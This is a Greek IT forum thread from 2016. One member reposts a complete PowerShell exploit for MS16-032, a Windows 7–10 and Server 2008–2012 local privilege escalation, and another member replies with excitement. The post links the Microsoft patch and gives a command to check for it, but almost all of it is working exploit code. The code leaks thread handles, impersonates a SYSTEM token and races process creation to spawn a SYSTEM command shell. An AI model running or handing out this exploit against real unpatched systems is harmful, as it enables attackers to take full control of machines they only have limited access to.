Jump to content









Photo

Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (Powershell)


  • Please log in to reply
1 reply to this topic

#1 kavasilop

kavasilop

    Junior IT

  • Members
  • PipPip
  • 21 posts

Posted 27 April 2016 - 02:26 PM

 To patch ειναι : https://technet.micr...y/ms16-032.aspx

Για να δουμε αν εχουμε το patch : wmic qfe | find "KB3139914"

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
	E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Trying thread handle: $Thread"
		echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($Thread)
		if ($CallResult -ne 0) {
			echo "[!] $Thread is a bad thread, moving on.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
	
		$script:SysTokenHandle = [IntPtr]::Zero
		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($Thread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	# Create array for Threads & TID's
	$ThreadArray = @()
	$TidArray = @()
	
	echo "[>] Duplicating CreateProcessWithLogonW handles.."
	# Loop Get-ThreadHandle and collect thread handles with a valid TID
	for ($i=0; $i -lt 500; $i++) {
		$hThread = Get-ThreadHandle
		$hThreadID = [Kernel32]::GetThreadId($hThread)
		# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
		if ($TidArray -notcontains $hThreadID) {
			$TidArray += $hThreadID
			if ($hThread -ne 0) {
				$ThreadArray += $hThread # This is what we need!
			}
		}
	}
	
	if ($($ThreadArray.length) -eq 0) {
		echo "[!] No valid thread handles were captured, exiting!"
		Return
	} else {
		echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
		echo "`n[?] Thread handle list:"
		$ThreadArray
	}
	
	echo "`n[*] Sniffing out privileged impersonation token.."
	foreach ($Thread in $ThreadArray){
	
		# Get handle to SYSTEM access token
		Get-SystemToken
		
		echo "`n[*] Sniffing out SYSTEM shell.."
		echo "`n[>] Duplicating SYSTEM token"
		$hDuplicateTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
		
		# Simple PS runspace definition
		echo "[>] Starting token race"
		$Runspace = [runspacefactory]::CreateRunspace()
		$StartTokenRace = [powershell]::Create()
		$StartTokenRace.runspace = $Runspace
		$Runspace.Open()
		[void]$StartTokenRace.AddScript({
			Param ($Thread, $hDuplicateTokenHandle)
			while ($true) {
				$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
			}
		}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
		$AscObj = $StartTokenRace.BeginInvoke()
		
		echo "[>] Starting process race"
		# Adding a timeout (10 seconds) here to safeguard from edge-cases
		$SafeGuard = [diagnostics.stopwatch]::StartNew()
		while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		}
		
		# Kill runspace & stopwatch if edge-case
		$StartTokenRace.Stop()
		$SafeGuard.Stop()
	}
}

PoC Windows 10 : 

Attached Files


  • Blackman likes this

#2 Blackman

Blackman

    Enterprise Admin!

  • Members
  • PipPipPipPipPipPip
  • 1,962 posts
  • LocationIn a b-boy cypher...

Posted 27 April 2016 - 04:05 PM

FUCK...

τρομερό!

 


BSc in Business Information Systems,
MSc in Information Technology Management,
MCP, MCSA 2003, MCSA 2008, MCSA 2008:Virtualization
IT Manager @ V-Group




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users